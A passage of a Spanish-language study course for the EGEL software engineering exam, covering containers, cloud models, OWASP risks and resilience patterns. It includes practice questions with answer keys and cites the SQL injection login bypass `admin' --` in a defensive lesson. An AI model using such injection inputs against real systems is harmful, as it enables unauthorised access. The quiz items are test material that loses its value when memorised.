clúster. | El tipo predeterminado para comunicación privada entre microservicios. |\n| **Readiness vs Liveness** | **ReadinessProbe:** Si falla, retira el pod del tráfico sin matarlo.\u003cbr\u003e**LivenessProbe:** Si falla, mata y reinicia el pod. | Si una app está temporalmente saturada, usar **Readiness** para evitar bucles de reinicio. |\n\n### B. Modelos de Servicio Cloud y Responsabilidad Compartida\n\n- **IaaS:** El proveedor administra hardware y virtualización; el cliente administra **el Sistema Operativo**, parches, runtimes, bases de datos y la aplicación.\n- **PaaS:** El proveedor administra hardware, SO y runtimes; el cliente administra **el código de la aplicación y sus datos**.\n- **FaaS / Serverless:** Cómputo efímero orientado a eventos, **escala a cero** ($0 en reposo); susceptible a latencia de **arranque en frío (*Cold Start*)**.\n- **SaaS:** El cliente solo consume la aplicación terminada (ej. Microsoft 365, Salesforce).\n- **Modelo de Responsabilidad Compartida:** Seguridad **DE** la nube (física y hardware = proveedor) vs Seguridad **EN** la nube (datos, cifrado, firewalls, IAM, parches de SO en IaaS = **cliente**).\n\n### C. Seguridad de Aplicaciones y OWASP Top 10\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      MATRIZ DE DEFENSA EN PROFUNDIDAD                  │\n│                                                                        │\n│   • INYECCIÓN SQL (A03): Usar SIEMPRE Prepared Statements / ORM.       │\n│     (Jamás concatenar cadenas en sentencias SQL).                      │\n│                                                                        │\n│   • XSS (A03): Escapar salidas HTML + Content Security Policy (CSP)    │\n│     + Almacenar tokens de sesión en Cookies HttpOnly y Secure.         │\n│                                                                        │\n│   • BROKEN ACCESS CONTROL (A01 / IDOR): Verificar la autorización del  │\n│     usuario autenticado en cada endpoint antes de entregar el registro.│\n│                                                                        │\n│   • CONTRASEÑAS (A02): Hashes lentos adaptativos con sal (Salt):       │\n│     bcrypt, Argon2id o PBKDF2. (Prohibido usar MD5 o SHA-256 plano).   │\n│                                                                        │\n│   • OAUTH 2.0: Authorization Code + PKCE para apps móviles y SPAs;     │\n│     Client Credentials para comunicación máquina a máquina (M2M).      │\n│                                                                        │\n│   • JWT: Header.Payload.Signature. El payload NO está cifrado (es      │\n│     Base64); nunca guardar datos confidenciales en el payload.         │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### D. Patrones de Resiliencia y los Tres Pilares de Observabilidad\n\n- **Circuit Breaker (Nygard):**\n  - **CLOSED:** Saludable; tráfico fluye.\n  - **OPEN:** Umbral de fallos superado; rechaza de inmediato (*Fail-Fast*) o ejecuta *Fallback*.\n  - **HALF-OPEN:** Pasa ráfagas de prueba tras ventana de enfriamiento (*Sleep Window*).\n- **Retry con Exponential Backoff y Jitter:** Multiplica el tiempo de espera por 2 en cada intento y agrega ruido aleatorio para evitar la avalancha síncrona de clientes (*Thundering Herd*).\n- **Los 3 Pilares de Observabilidad:**\n  1. **Métricas (Prometheus/Grafana):** Agregaciones numéricas en el tiempo (RED: Rate, Errors, Duration).\n  2. **Logs Estructurados (ELK/Loki):** Registros JSON contextuales con `trace_id` para análisis de causas raíz.\n  3. **Trazado Distribuido (Jaeger/Zipkin/OpenTelemetry):** Árbol cronológico de *Spans* con *Trace ID* unificado para localizar cuellos de botella transversales entre microservicios.\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 3.5\n\nAntes de avanzar al Repaso Integrador del Bloque 3, confirma que dominas con fluidez:\n- [ ] Explicar por qué los contenedores comparten el kernel anfitrión mientras las VMs emulan hardware.\n- [ ] Diseñar un Dockerfile con **Multi-Stage Build** para minimizar el tamaño y vulnerabilidades en producción.\n- [ ] Distinguir cuándo un incidente en la nube es responsabilidad del cliente (seguridad EN la nube) o del proveedor.\n- [ ] Saber por qué **Authorization Code con PKCE** es mandatorio en clientes públicos sin secreto estático.\n- [ ] Describir los tres estados de la máquina de un **Circuit Breaker** (Closed, Open, Half-Open).\n- [ ] Conectar los tres pilares de observabilidad para diagnosticar una transacción lenta en microservicios.\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nAl realizar una prueba de seguridad en el formulario de inicio de sesión de una aplicación bancaria, se detecta que el campo de usuario acepta la entrada `admin' --` logrando autenticarse en el sistema como administrador sin conocer la contraseña. ¿Qué tipo de vulnerabilidad del OWASP Top 10 se produjo y cuál es la solución técnica estándar que erradica este defecto de raíz?\n- A) Inyección de Comandos del Sistema Operativo; se soluciona reiniciando el clúster de Kubernetes.\n- B) Inyección SQL (SQL Injection); se erradica sustituyendo la concatenación dinámica de cadenas por Consultas Parametrizadas (*Prepared Statements*) en la capa de persistencia.\n- C) Cross-Site Scripting (XSS); se erradica configurando cookies de sesión con el atributo `SameSite`.\n- D) Desbordamiento de búfer en memoria Stack; se resuelve eliminando la cláusula WHERE de la consulta.\n\n### Reactivo Muestra 2\nEn una arquitectura de comercio electrónico basada en microservicios, el *Servicio de Carrito* invoca síncronamente al *Servicio de Inventario*. Durante una venta nocturna, el Servicio de Inventario se satura y tarda 20 segundos por consulta, provocando que el Servicio de Carrito agote todas sus conexiones y deje de responder a los compradores. Para prevenir que la lentitud del inventario colapse al carrito en el futuro, el arquitecto desea implementar un mecanismo que detecte la lentitud, corte las peticiones de inmediato y retorne una respuesta predeterminada en milisegundos mientras el inventario se recupera. ¿Qué patrón de resiliencia debe implementarse?\n- A) Patrón Singleton sobre el microservicio de inventario.\n- B) Patrón Circuit Breaker (Interruptor de Circuito) con lógica de contingencia (*Fallback*).\n- C) Algoritmo de reemplazo de páginas de memoria FIFO.\n- D) Desactivar el balanceador de carga del clúster.\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 3.5.7).*\n","title":"3.5.6 Repaso integral y síntesis: Subárea 3.5"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 3.5\n\nEsta lección proporciona el desglose analítico, los fundamentos teóricos y las justificaciones de descarte de cada uno de los reactivos de evaluación de la **Subárea 3.5: Plataformas de desarrollo, frameworks y arquitecturas de ejecución**. Estudia con detenimiento estas resoluciones para consolidar tu dominio sobre contenedores, nube, seguridad de aplicaciones y resiliencia distribuida para el examen EGEL.\n\n---\n\n## 1. Soluciones: Contenedores y Kubernetes (Lección 3.5.1)\n\n### Pregunta 1\n- **Enunciado:** Diferencia arquitectónica medular entre una Máquina Virtual tradicional gestionada por un hipervisor y un contenedor Docker ejecutado en Linux.\n- **Respuesta Correcta:** **B) Cada máquina virtual incluye su propio sistema operativo huésped completo y hardware virtual emulado por el hipervisor, mientras que los contenedores comparten el mismo kernel del sistema operativo anfitrión y se aíslan mediante Namespaces y cgroups en el espacio de usuario.**\n- **Justificación Técnica:** Las máquinas virtuales emulan el hardware mediante un hipervisor (Tipo 1 o 2), exigiendo que cada instancia cargue un sistema operativo huésped completo (*Guest OS*) de varios gigabytes. Por el contrario, los contenedores representan virtualización a nivel de sistema operativo: comparten el kernel del host anfitrión y se aíslan de forma ligera mediante dos características del kernel de Linux: **Namespaces** (para aislar procesos, redes, puntos de montaje y usuarios) y **Control Groups / cgroups** (para limitar el consumo de CPU, RAM e I/O).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Tanto las máquinas virtuales como los contenedores pueden ejecutarse indistintamente en servidores locales (on-premise) o en cualquier nube pública.\n  - *C es incorrecta:* Los contenedores admiten cualquier tipo de código (interpretado, compilado a bytecode o nativo) y poseen su propio sistema de archivos en capas.\n  - *D es incorrecta:* Las máquinas virtuales reservan gigabytes de memoria RAM fija en el host.\n\n### Pregunta 2\n- **Enunciado:** Microservicio de base de datos interno en Kubernetes que no debe ser accesible desde internet, pero debe ser consumido de forma balanceada y segura por otros microservicios del clúster con un DNS estable.\n- **Respuesta Correcta:** **B) Service de tipo `ClusterIP`.**\n- **Justificación Técnica:** `ClusterIP` es el tipo de servicio por defecto en Kubernetes. Asigna una dirección IP virtual inmutable y un nombre DNS privado (`\u003cservicio\u003e.\u003cnamespace\u003e.svc.cluster.local`) accesible **únicamente por otros Pods dentro de la red interna del clúster**. No expone ningún puerto al exterior del nodo ni aprovisiona balanceadores públicos, garantizando aislamiento de red y balanceo interno.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* `LoadBalancer` aprovisiona una IP pública en el proveedor de nube expuesta directamente a todo el internet.\n  - *C es incorrecta:* `NodePort` abre un puerto estático en la red externa de todos los nodos físicos del clúster, permitiendo acceso desde fuera del clúster.\n  - *D es incorrecta:* Un Ingress público expondría la base de datos a internet, violando el requerimiento de seguridad.\n\n---\n\n## 2. Soluciones: Computación en la Nube y Modelos de Servicio (Lección 3.5.2)\n\n### Pregunta 1\n- **Enunciado:** Máquina virtual IaaS comprometida por un atacante debido a que el sistema operativo Ubuntu no recibió actualizaciones de seguridad del kernel durante seis meses.\n- **Respuesta Correcta:** **B) El cliente, ya que en el modelo IaaS la administración, configuración, actualización y aplicación de parches de seguridad del sistema operativo huésped recae exclusivamente en el cliente.**\n- **Justificación Técnica:** En el **Modelo de Responsabilidad Compartida** de la computación en la nube:\n  - El proveedor de nube (AWS, Azure, GCP) solo es responsable de la **seguridad \"DE\" la nube** (hardware físico, centros de datos y capa de virtualización del hipervisor).\n  - En el modelo **IaaS**, el cliente asume el control absoluto del sistema operativo hacia arriba. Por ende, la instalación de parches del sistema operativo huésped, la configuración de cortafuegos y el antivirus son **responsabilidad directa y exclusiva del cliente (seguridad \"EN\" la nube)**.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Los proveedores de nube tienen prohibido legal y técnicamente intervenir o alterar las máquinas virtuales privadas de los clientes en IaaS.\n  - *C es incorrecta:* El NIST es un organismo de estandarización tecnológica; no opera ni administra infraestructura.\n  - *D es incorrecta:* Ningún contrato de nube garantiza inmunidad cibernética contra negligencias de configuración del cliente.\n\n### Pregunta 2\n- **Enunciado:** Conversión de PDFs a imágenes con tráfico esporádico e impredecible (horas inactivas y picos súbitos), que exige costo cero en reposo y auto-escalado instantáneo.\n- **Respuesta Correcta:** **C) Arquitectura Serverless basada en Función como Servicio (FaaS), que escala a cero cuando no hay eventos y factura exclusivamente por los milisegundos de procesamiento activo.**\n- **Justificación Técnica:** El modelo FaaS / Serverless (como AWS Lambda o Cloud Functions) está diseñado exactamente para cargas de trabajo impulsadas por eventos y con tráfico intermitente. Ofrece **escala a cero (*Scale to Zero*)**: durante las 8 horas sin documentos, no hay instancias encendidas y el costo es exactamente $0. Al llegar la ráfaga de 5,000 documentos, la nube aprovisiona automáticamente cientos de ejecuciones paralelas facturando únicamente los milisegundos exactos de cómputo consumidos.\n- **Análisis de Distractores:**\n  - *A y B son incorrectas:* Mantener una máquina virtual o servidor físico encendido las 24 horas genera un costo fijo continuo desperdiciando recursos durante los periodos de inactividad.\n  - *D es incorrecta:* SaaS es para software de usuario final empaquetado (como procesadores de texto), no para implementar un microservicio de procesamiento personalizado.\n\n---\n\n## 3. Soluciones: Seguridad de Aplicaciones y OWASP Top 10 (Lección 3.5.3)\n\n### Pregunta 1\n- **Enunciado:** Usuario que modifica el ID numérico en la URL de `/paciente/expediente/1045` a `/1046` obteniendo acceso no autorizado al expediente de otra persona.\n- **Respuesta Correcta:** **B) A01: Pérdida de Control de Acceso (*Broken Access Control* / IDOR).**\n- **Justificación Técnica:** La vulnerabilidad mostrada es una **Referencia Directa a Objetos Insegura (IDOR)**, clasificada dentro de la categoría **A01: Broken Access Control** (el riesgo #1 del OWASP Top 10). Ocurre cuando el software expone una referencia interna (en este caso el ID numérico del registro en la URL) y confía ciegamente en la entrada del usuario sin validar si el usuario autenticado tiene autorización para acceder a dicho objeto.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* No se alteró la sintaxis de la consulta SQL; se pasó un identificador numérico directo válido.\n  - *C es incorrecta:* Es una falla lógica de autorización en la capa de software de aplicación, no un fallo físico del hipervisor de virtualización.\n  - *D es incorrecta:* Las herramientas de compilación cruzada no tienen relación con la autorización de usuarios en tiempo de ejecución.\n\n### Pregunta 2\n- **Enunciado:** Algoritmo técnico correcto para persistir contraseñas en la base de datos mitigando ataques de fuerza bruta y tablas arcoíris en caso de filtración.\n- **Respuesta Correcta:** **C) Utilizar una función de derivación de claves deliberadamente lenta y adaptativa con sal (*Salt*) aleatoria por usuario, como bcrypt o Argon2id.**\n- **Justificación Técnica:** Las contraseñas nunca deben cifrarse con algoritmos reversibles ni con funciones hash criptográficas rápidas. Deben procesarse con **funciones de derivación de claves lentas adaptativas (como bcrypt, Argon2id o PBKDF2)**. Estas funciones incorporan una **sal (*Salt*)** criptográfica aleatoria única por usuario (que inutiliza por completo las tablas arcoíris precalculadas) y un factor de costo computacional ajustable que ralentiza deliberadamente el cálculo en la CPU, haciendo que un ataque de fuerza bruta sea computacional e inmóvilmente inviable.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* DES es un algoritmo de cifrado simétrico reversible obsoleto, inseguro y fácilmente descifrable.\n  - *B es incorrecta:* MD5 y SHA-1 son vulnerables a colisiones y su extrema velocidad permite calcular miles de millones de intentos por segundo en GPUs comerciales.\n  - *D es incorrecta:* Guardar contraseñas en texto plano es una negligencia crítica inadmisible.\n\n---\n\n## 4. Soluciones: Patrones de Resiliencia y Observabilidad (Lección 3.5.4)\n\n### Pregunta 1\n- **Enunciado:** Servicio de Transferencias que, tras registrar un 80% de fallos de timeout en el servicio remoto, rechaza inmediatamente en el origen (*Fail-Fast*) toda nueva solicitud durante 30 segundos sin tocar la red.\n- **Respuesta Correcta:** **B) Estado OPEN del patrón Circuit Breaker.**\n- **Justificación Técnica:** En el patrón **Circuit Breaker**, cuando la tasa de fallos supera el umbral configurado, el interruptor conmuta al estado **OPEN (Abierto)**. En este estado, el circuito intercepta todas las llamadas en el cliente y las aborta de inmediato (*Fail-Fast*) o ejecuta una lógica de contingencia (*Fallback*), protegiendo al servicio remoto de recibir tráfico y permitiéndole recuperarse durante la ventana de enfriamiento (*Sleep Window*).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El estado CLOSED es el estado normal y saludable donde el tráfico viaja libremente hacia el servicio dependiente.\n  - *C es incorrecta:* Bulkhead aísla recursos de memoria y pools de hilos; no es una máquina de estados de fallo rápido.\n  - *D es incorrecta:* La concurrencia optimista es un mecanismo de bloqueo de bases de datos relacionales mediante columnas de versión.\n\n### Pregunta 2\n- **Enunciado:** Rastrear el flujo de una reserva a través de 25 microservicios desacoplados correlacionando el tiempo invertido en cada salto de red.\n- **Respuesta Correcta:** **B) Trazado Distribuido (*Distributed Tracing*) mediante propagación de identificadores de traza (*Trace ID / Span ID*) visualizado con herramientas como Jaeger o Zipkin.**\n- **Justificación Técnica:** En arquitecturas de microservicios con múltiples llamadas asíncronas o síncronas, el **Trazado Distribuido** es el pilar de la observabilidad diseñado específicamente para resolver este problema. Al asignar un `Trace ID` único en el punto de entrada y propagarlo a través de los encabezados HTTP/gRPC entre todos los microservicios, herramientas como Jaeger o Zipkin reconstruyen el grafo cronológico completo de la petición, permitiendo visualizar con precisión quirúrgica en qué componente o base de datos se consumió la latencia.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las métricas numéricas agregadas muestran promedios y contadores del sistema global, pero no pueden rastrear una transacción individual específica.\n  - *C es incorrecta:* Los archivos de log locales aislados no permiten correlacionar eventos a través de 25 servidores independientes.\n  - *D es incorrecta:* Maven gestiona dependencias y compilación en desarrollo; no monitorea latencias de red en producción.\n\n---\n\n## 5. Soluciones: Escenarios de Decisión de Plataformas (Lección 3.5.5)\n\n### Pregunta 1\n- **Enunciado:** Microservicio con fuga de memoria que agota la RAM del servidor anfitrión provocando que el kernel mate los contenedores de otros servicios críticos en el mismo nodo.\n- **Respuesta Correcta:** **B) Especificar formalmente los bloques `resources.requests` y `resources.limits` de memoria y CPU en el manifiesto del Deployment, permitiendo que Kubernetes aplique límites máximos y mate exclusivamente al pod infractor que exceda su techo asignado.**\n- **Justificación Técnica:** En Kubernetes, la falta de límites permite que un contenedor con una fuga de memoria consuma todos los recursos físicos del nodo anfitrión. Al configurar `resources.limits.memory: \"2Gi\"`, el subsistema de cgroups de Linux impone un límite infranqueable: si el pod intenta asignar más de 2 GB de RAM, el motor de Kubernetes termina exclusivamente a ese pod con la señal `OOMKilled` (*Out of Memory*), protegiendo la estabilidad del nodo y la supervivencia de los pods vecinos.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El tamaño del repositorio Git es completamente irrelevante para la gestión de memoria en el clúster de producción.\n  - *C es incorrecta:* Desactivar las sondas empeoraría la estabilidad al impedir que Kubernetes detecte contenedores congelados.\n  - *D es incorrecta:* Ejecutar como `root` es un grave riesgo de seguridad que viola las mejores prácticas de contenedores.\n\n### Pregunta 2\n- **Enunciado:** Flujo OAuth 2.0 y almacenamiento de tokens recomendado para una Single Page Application (SPA) para proteger contra robo de credenciales y XSS.\n- **Respuesta Correcta:** **B) Flujo de Código de Autorización con clave de intercambio PKCE (*Authorization Code with PKCE*), almacenando el token de sesión en una Cookie configurada con los atributos `HttpOnly`, `Secure` y `SameSite`.**\n- **Justificación Técnica:** Las recomendaciones actuales de seguridad de OAuth (RFC 7636 y directrices OWASP) prohíben el uso de *Implicit Flow* y exigen el flujo de **Código de Autorización con PKCE** para clientes públicos (SPAs y aplicaciones móviles), ya que elimina la necesidad de un secreto estático mediante un desafío criptográfico dinámico (`code_challenge`). Además, almacenar el token en una **Cookie con el atributo `HttpOnly`** impide que cualquier código malicioso inyectado mediante XSS pueda leer el token con JavaScript, mitigando el robo de sesiones.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* *Resource Owner Password Credentials* está deprecado en OAuth 2.1 y almacenar tokens en `sessionStorage` es altamente vulnerable al robo mediante scripts XSS.\n  - *C es incorrecta:* Exponer tokens en variables globales o consola permite la extracción inmediata de credenciales por cualquier script de terceros.\n  - *D es incorrecta:* Desactivar la autenticación viola todas las normas elementales de seguridad y cumplimiento financiero.\n\n---\n\n## 6. Soluciones: Mini-Simulador de Diagnóstico (Lección 3.5.6)\n\n### Reactivo Muestra 1\n- **Enunciado:** Formulario de inicio de sesión que acepta `admin' --` autenticando al atacante como administrador sin conocer la contraseña.\n- **Respuesta Correcta:** **B) Inyección SQL (SQL Injection); se erradica sustituyendo la concatenación dinámica de cadenas por Consultas Parametrizadas (*Prepared Statements*) en la capa de persistencia.**\n- **Justificación Técnica:** La entrada `admin' --` cierra la comilla de la cadena en la sentencia SQL e introduce un delimitador de comentario (`--`), provocando que el motor de base de datos ignore la verificación de la contraseña (`AND password = '...'`). Esta es la manifestación clásica de **SQL Injection (A03 en OWASP)** por concatenación dinámica de cadenas. La solución definitiva y obligatoria es utilizar **Consultas Parametrizadas (*Prepared Statements*)**, donde la sentencia se precompila y las entradas del usuario se tratan estrictamente como valores de datos atómicos, haciendo imposible alterar la estructura sintáctica del comando.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La inyección de comandos ocurre a nivel de la terminal del sistema operativo (bash/cmd), no en el motor de bases de datos relacional.\n  - *C es incorrecta:* XSS consiste en la ejecución de JavaScript en el navegador de la víctima; aquí se manipuló la lógica del motor SQL en el backend.\n  - *D es incorrecta:* Es un defecto de seguridad en la capa de persistencia de datos, no un desbordamiento de memoria física.\n\n### Reactivo Muestra 2\n- **Enunciado:** Prevenir que la lentitud del Servicio de Inventario (20 s) colapse al Servicio de Carrito cortando las peticiones de inmediato y retornando una respuesta predeterminada.\n- **Respuesta Correcta:** **B) Patrón Circuit Breaker (Interruptor de Circuito) con lógica de contingencia (*Fallback*).**\n- **Justificación Técnica:** El patrón **Circuit Breaker** monitoriza las llamadas remotas. Al detectar que el servicio dependiente supera el umbral de lentitud o fallos, abre el circuito (*State OPEN*), interrumpiendo de inmediato el tráfico hacia la red (*Fail-Fast*) y ejecutando una lógica de contingencia (**Fallback**, como retornar un stock provisional de caché o un mensaje amigable). Esto evita que el microservicio de carrito agote sus conexiones esperando respuestas lentas, preservando la disponibilidad del sistema frente a fallas en cascada.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El patrón Singleton asegura una sola instancia de una clase; no gestiona latencias de red ni fallas de microservicios remotos.\n  - *C es incorrecta:* FIFO es un algoritmo de reemplazo de páginas de memoria o colas, no un patrón de resiliencia distribuida.\n  - *D es incorrecta:* Desactivar el balanceador de carga dejaría sin servicio a todos los usuarios del sistema.\n","title":"3.5.7 Soluciones razonadas y análisis de distractores: Subárea 3.5"}],"contentMd":"","title":"3.5 Plataformas de desarrollo, frameworks y arquitecturas de ejecución"},{"children":[],"contentMd":"# Repaso Integrador y Caso Transversal de Desarrollo: Bloque 3 (99 Reactivos)\n\nEl **Bloque 3: Desarrollo de Sistemas de Software** es el núcleo cuantitativo y técnico de mayor peso en el examen EGEL de Ingeniería de Software de CENEVAL, concentrando **99 reactivos** (más de un tercio del total de la evaluación).\n\nEn este bloque convergen todas las habilidades del ingeniero constructor: desde los fundamentos de la máquina y los tipos (3.1) y la estructuración del código en paradigmas limpios (3.2), hasta la automatización de builds y pruebas continuas bajo TDD (3.3), el modelado y optimización de bases de datos relacionales y NoSQL (3.4), y la ejecución segura en la nube sobre contenedores orquestados con Kubernetes y blindaje OWASP (3.5).\n\n---\n\n## 1. Matriz de Conexión Holística del Bloque 3\n\n```\n┌──────────────────────────────────────────────────────────────────────────────────┐\n│                     CADENA DE VALOR DEL DESARROLLO (BLOQUE 3)                    │\n│                                                                                  │\n│   1. LENGUAJES Y RUNTIME (3.1) ──────────▶ Tipado estático fuerte, gestión de   │\n│      (¿Cómo se ejecutan las instrucciones?   memoria en Stack/Heap, corrutinas   │\n│       ¿Cómo se coordinan los hilos?)         ligeras y manejo de excepciones.    │\n│                     │                                                            │\n│                     ▼                                                            │\n│   2. PARADIGMAS DE DISEÑO (3.2) ────────▶ Encapsulamiento y polimorfismo POO,    │\n│      (¿Cómo se modela la lógica del          inmutabilidad y funciones puras,     │\n│       dominio y las transformaciones?)       flujos reactivos asíncronos (Push).  │\n│                     │                                                            │\n│                     ▼                                                            │\n│   3. TESTING Y CI/CD (3.3) ─────────────▶ Trunk-Based Development, builds        │\n│      (¿Cómo se valida y entrega el cambio    deterministas con lockfiles, TDD con│\n│       con cero defectos y sin fricción?)     Pirámide de Cohn y despliegues CD.  │\n│                     │                                                            │\n│                     ▼                                                            │\n│   4. GESTIÓN DE DATOS (3.4) ────────────▶ ORM sin problema N+1, índices          │\n│      (¿Cómo se persiste y escala el estado   cubrientes en B-Tree, persistencia   │\n│       transaccional y de lectura masiva?)    políglota NoSQL y caché distribuida. │\n│                     │                                                            │\n│                     ▼                                                            │\n│   5. PLATAFORMAS Y SEGURIDAD (3.5) ─────▶ Imágenes Docker mínimas multi-stage,   │\n│      (¿Dónde corre el software de forma      Pods en Kubernetes, OAuth 2.0 PKCE, │\n│       resiliente y protegida?)               Circuit Breakers y observabilidad.  │\n└──────────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Gran Caso de Estudio Transversal: Plataforma Nacional de Microcréditos e Inversión Financiera\n\nPara consolidar el criterio holístico que exige el examen, analicemos el diseño e implementación integral de una plataforma bancaria de microcréditos para pequeñas empresas.\n\n### A. Requerimientos del Sistema\n1. **R1 (Volumen y Latencia):** Procesar hasta 10,000 solicitudes de crédito por minuto en días de alta demanda, con tiempos de respuesta inferiores a 200 ms.\n2. **R2 (Integridad Contable):** Cero pérdida de dinero ni discrepancias en los balances contables de dispersión de fondos (auditoría financiera estricta).\n3. **R3 (Calidad y Cadencia de Entrega):** Despliegues continuos diarios a producción sin tiempo de inactividad, con una cobertura mínima de pruebas del 85% y prevención de regresiones.\n4. **R4 (Seguridad y Cumplimiento):** Cumplir con las regulaciones de la CNBV y el estándar OWASP Top 10 para aplicaciones móviles y servicios en la nube.\n\n---\n\n### B. Decisiones de Ingeniería Integradas por Capa\n\n#### 1. Capa de Lenguaje y Concurrencia (Subárea 3.1)\n- **Selección de Lenguaje:** **Kotlin / Java sobre JVM con tipado estático fuerte**.\n- **Gestión de Memoria y Concurrencia:**\n  - Se utilizan **Hilos Virtuales (Project Loom)** para las operaciones de E/S bloqueantes (llamadas a buró de crédito y pasarelas bancarias), permitiendo atender miles de conexiones simultáneas consumiendo apenas kilobytes de memoria por hilo.\n  - El recolector de basura se configura con **ZGC** para mantener las pausas de recolección (*Stop-The-World*) por debajo de 1 milisegundo, eliminando picos de latencia en la dispersión de fondos.\n  - Para casos de error esperados (como \"Saldo insuficiente\" o \"RFC inválido\"), se sustituye el lanzamiento de excepciones por tipos estructurados `Result\u003cCreditoAprobado, MotivoRechazo\u003e`, eliminando la sobrecarga computacional del *Stack Unwinding*.\n\n#### 2. Capa de Paradigmas de Programación (Subárea 3.2)\n- **Modelado de Dominio (POO Avanzada):**\n  - La entidad `Credito` encapsula sus estados mediante el patrón **State / Composición** (`EstadoPendiente`, `EstadoAprobado`, `EstadoDispersado`, `EstadoLiquidado`), protegiendo la invariante de que un crédito cancelado jamás pueda recibir abonos.\n- **Cálculo de Tablas de Amortización (Programación Funcional):**\n  - El desglose de pagos mensuales (capital, intereses e IVA) se programa mediante **funciones puras inmutables**:\n    `cuotas.stream().map(CalculadorAmortizacion::calcularCuota).toList()`.\n  - Al no mutar ningún estado global, el cálculo es matemáticamente determinista y fácilmente testeable con pruebas unitarias.\n- **Monitoreo de Aprobaciones en Tiempo Real (Programación Reactiva):**\n  - El panel administrativo de los comités de crédito se alimenta mediante un **Stream observable Push** de eventos vía WebSocket, aplicando el operador `throttleTime(250)` para evitar saturar el navegador con micro-actualizaciones.\n\n#### 3. Capa de Construcción, Testing y CI/CD (Subárea 3.3)\n- **Gestión de Dependencias:** Gestión con Gradle utilizando **Lockfiles** (`gradle.lockfile`) confirmados en Git para garantizar que cualquier agente de CI descargue exactamente los mismos binarios con firmas SHA-512 idénticas.\n- **Estrategia de Ramificación:** **Trunk-Based Development** con ramas cortas integradas en menos de 24 horas y *Feature Flags* para ocultar funcionalidades en desarrollo.\n- **Estrategia de Pruebas (Pirámide de Mike Cohn):**\n  - 2,500 pruebas unitarias puras bajo TDD estructuradas con el patrón **AAA (Arrange, Act, Assert)** ejecutadas en memoria en 15 segundos, utilizando **Mocks** para verificar llamadas a pasarelas bancarias y **Stubs** para respuestas del tipo de cambio.\n  - 180 pruebas de integración contra contenedores efímeros con Testcontainers.\n  - 12 pruebas E2E de humo en Staging.\n- **Estrategia de Despliegue:** **Canary Release**: el nuevo motor de crédito recibe el 2% del tráfico en producción; tras 1 hora de monitoreo de tasas de error, se promueve al 100% sin tiempo de inactividad (*Zero-Downtime*).\n\n#### 4. Capa de Gestión de Datos y Persistencia (Subárea 3.4)\n- **Persistencia Políglota:**\n  - *RDBMS Relacional (PostgreSQL en 3FN):* Para las tablas contables de `CLIENTE`, `CREDITO` y `TRANSACCION_PAGO`, con transacciones ACID y nivel de aislamiento `Read Committed`.\n  - *NoSQL Clave-Valor (Redis):* Para almacenamiento de sesiones de usuario y limitación de tasa (*Rate Limiting*) en memoria RAM en microsegundos.\n- **Erradicación del Problema N+1:** Las consultas de créditos con sus cuotas asociadas utilizan **`JOIN FETCH c.cuotas`** en el repositorio del ORM, evitando que la consulta de 100 créditos dispare 101 sentencias SQL.\n- **Optimización de Índices:** Creación de un **Índice Compuesto Cubriente** sobre `(cliente_id, estado) INCLUDE (monto_aprobado, fecha_creacion)`, permitiendo que las consultas del historial del cliente se resuelvan como **`Index-Only Scan`** sin tocar las páginas de la tabla en disco.\n- **Migraciones Versionadas:** Integración de **Flyway** en el pipeline de CI/CD para aplicar scripts SQL inmutables (`V1`, `V2`) automáticamente al arrancar.\n\n#### 5. Capa de Plataformas, Seguridad y Resiliencia (Subárea 3.5)\n- **Empaquetado:** Imagen Docker con **Multi-Stage Build**: la primera etapa compila con el JDK completo; la segunda etapa copia únicamente el `.jar` ejecutable a una imagen mínima Alpine con usuario no root (`USER 1001`), reduciendo el tamaño a 110 MB y eliminando vulnerabilidades de compilación.\n- **Orquestación en Kubernetes:**\n  - Los pods declaran `resources.requests` (250m CPU, 512Mi RAM) y `resources.limits` (1000m CPU, 1.5Gi RAM) para garantizar que una fuga de memoria no desestabilice el nodo.\n  - Se configuran **`StartupProbe`** (para proteger el arranque de Spring Boot) y **`ReadinessProbe`** (para retirar tráfico si el pod se satura temporalmente).\n- **Seguridad OWASP:**\n  - Consultas parametrizadas en todo el acceso a base de datos (prevención absoluta de Inyección SQL).\n  - Contraseñas procesadas mediante **bcrypt** con factor de trabajo 12 y sal aleatoria.\n  - Autenticación con **OAuth 2.0 y Flujo de Authorization Code con PKCE** para la aplicación móvil, almacenando tokens en Cookies `HttpOnly`, `Secure` y `SameSite=Strict`.\n- **Resiliencia y Observabilidad:**\n  - Se implementa el patrón **Circuit Breaker** (con Resilience4j) sobre las llamadas al *Servicio de Buró de Crédito*: si el buró tarda más de 2 segundos en el 40% de las peticiones, el circuito pasa a **OPEN** y activa un *Fallback* que encola la solicitud para revisión manual, protegiendo al backend de fallas en cascada.\n  - Trazado distribuido mediante **OpenTelemetry y Jaeger** inyectando un `Trace ID` único en cada transacción para auditar el tiempo exacto consumido en cada microservicio.\n\n---\n\n## 3. Gran Simulador de Juicio Profesional — Bloque 3\n\n### Reactivo 1 (Integración Lenguajes + Concurrencia + Paradigmas)\nAl evaluar el módulo de liquidación de intereses de una fintech, se analiza el siguiente método escrito por un desarrollador:\n```java\npublic class LiquidadorIntereses {\n    private double saldoAcumuladoGlobal = 0.0;\n\n    public void procesarCuentas(List\u003cCuenta\u003e cuentas) {\n        cuentas.parallelStream().forEach(c -\u003e {\n            if (c.getSaldo() \u003e 0) {\n                double interes = c.getSaldo() * 0.08;\n                saldoAcumuladoGlobal += interes; // Mutación concurrente directa\n                c.setSaldo(c.getSaldo() + interes);\n            }\n        });\n    }\n}\n```\nSi este método se ejecuta concurrentemente sobre 500,000 cuentas en un servidor 